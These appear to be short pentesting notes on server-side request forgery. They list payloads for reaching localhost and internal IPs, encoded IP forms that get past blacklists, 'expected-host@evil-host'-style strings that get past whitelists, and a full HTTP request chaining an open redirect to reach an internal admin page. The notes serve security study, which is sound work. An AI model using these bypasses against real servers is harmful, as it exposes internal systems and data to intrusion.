SSRF

Server-Side Request Forgery

any url parameter try ssrf

cause the server to make a connection to internal-only services within the organization's infrastructure

• SSRF attacks against the server itself

  alter url parameter to http://localhost this may allow functions only allowed for normal user

• SSRF attacks against other back-end systems

  alter url parameter to http://192.168.0.x using intruder to scan back-end systems that are not reachable by user These systems often have non-routable private IP addresses

• SSRF with blacklist-based input filters

  • alter ip representation to

    hex IPoctal IP127.1 127.0.0.10177.0.0.10x7f.0.0.1127.0.1127.121307064330177000000010x7f000001

    this work because of : inet_ntop, inet_pton - convert IPv4 and IPv6 addresses between binary and text form

  • Registering your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose.

  • Obfuscating blocked strings using URL encoding or case variation like encode first letter from admin

• SSRF with whitelist-based input filters

  • embed credentials in a URL before the hostname https://expected-host@evil-host

  • use the # character to indicate a URL fragment https://expected-host#evil-host orhttps://expected-host#@evil-host

  • leverage the DNS naming hierarchy https://expected-host.evil-host

  • URL-encode characters to confuse the URL-parsing code

  • MIX ALL ABOVE TOGETHER

• Bypassing SSRF filters via open redirection

  /product/nextProduct?currentProductId=6&path=http://evil-user.net

  returns a redirection to:

  http://evil-user.net

  You can leverage the open redirection vulnerability to bypass the URL filter, and exploit the SSRF vulnerability as follows:

  POST /product/stock HTTP/1.0Content-Type: application/x-www-form-urlencodedContent-Length: 118​stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

  This SSRF exploit works because the application first validates that the supplied stockAPI URL is on an allowed domain, which it is. The application then requests the supplied URL, which triggers the open redirection. It follows the redirection, and makes a request to the internal URL of the attacker's choosing.

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ssrf to local file disclosure